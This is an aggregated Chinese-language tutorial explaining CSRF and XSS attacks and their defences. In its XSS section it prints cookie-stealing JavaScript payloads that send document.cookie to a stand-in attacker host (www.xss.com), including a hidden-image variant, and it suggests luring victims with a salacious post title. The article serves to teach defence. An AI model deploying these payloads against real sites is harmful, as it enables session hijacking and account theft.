CSRFXSS的攻击及防御

Posted 大熊的地盘

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRFXSS的攻击及防御相关的知识,希望对你有一定的参考价值。

一、CSRF的攻击原理及防御

        CSRF是什么呢?CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。

        如果我把浏览器的cookie禁用了,大家认为session还能正常工作吗? 答案是否定的。

        我们知道http请求是无状态的,也就是说每次http请求都是独立的无关之前的操作的,但是每次http请求都会将本域下的所有cookie作为http请求头的一部分发送给服务端,所以服务端就根据请求中的cookie存放的sessionid去session对象中查找登录用户的信息。当然session的保存方法多种多样,可以保存在文件中,也可以内存里,考虑到分布式的横向扩展我们还是建议把它保存在第三方媒介中,比如redis或者mongodb。

        我们理解了session的工作机制后,CSRF也就很容易理解了。CSRF攻击就相当于恶意用户A复制了我的高级会员卡,哪天恶意用户A也可以拿着这张假冒的高级会员卡去高尔夫俱乐部打19洞,享受美味的饮料了,而我在月底就会收到高尔夫俱乐部的账单!

        了解CSRF的机制之后,危害性我相信大家已经不言而喻了,我可以伪造某一个用户的身份给其好友发送垃圾信息,这些垃圾信息的超链接可能带有木马程序或者一些欺骗信息(比如借钱之类的),如果CSRF发送的垃圾信息还带有蠕虫链接的话,那些接收到这些有害信息的好友万一打开私信中的连接就也成为了有害信息的散播着,这样数以万计的用户被窃取了资料种植了木马。整个网站的应用就可能在瞬间奔溃,用户投诉,用户流失,公司声誉一落千丈甚至面临倒闭。

CSRF防御的几个方法:

A、通过 referer、token 或者 验证码 来检测用户提交。

B、尽量不要在页面的链接中暴露用户隐私信息。

C、对于用户修改删除等操作最好都使用post 操作 。

D、避免全站通用的cookie,严格设置cookie的域。


二、XSS攻击原理及防御措施

        XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了html以及用户端脚本语言。 

        XSS攻击的主要目的是想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义 。

eg:

上面的代码就是输入一个网络分享的图片,在src中直接写入了javascript:alert('xss');操作成功后生成帖子,通过浏览器的用户打开这个帖子就会出现下图的alert('xss')弹窗。 如图: 

将标题设计的非常吸引人来点击,比如 “XXX明星艳照又有流出2012版(20P无码)” ,这样如果将里面的alert换成恶意代码,比如: 
location.href='http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。

        这里的location.href只是处于简单这样做,如果做了跳转这个帖子很快会被管理员删除,但是如果我写如下代码,并且帖子的内容也是比较真实的,说不定这个帖子就会祸害很多人:
 


var img = document.createElement('img');   img.src='http://www.xss.com?cookie='+document.cookie; img.style.display='none';   document.getElementsByTagName('body')[0].appendChild(img);  


        这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

XSS的防御措施:

A、当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

B、当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。


注:本文搜集整理来源于互联网,有不足的地方请指正。

以上是关于CSRFXSS的攻击及防御的主要内容,如果未能解决你的问题,请参考以下文章

PHP如何防范SQL注入CSRFXSS攻击

CSRFXSS攻防原理及解决方案

XSS攻击及防御

XSS攻击及防御

XSS攻击及防御

Web 攻击之 XSS 攻击及防御策略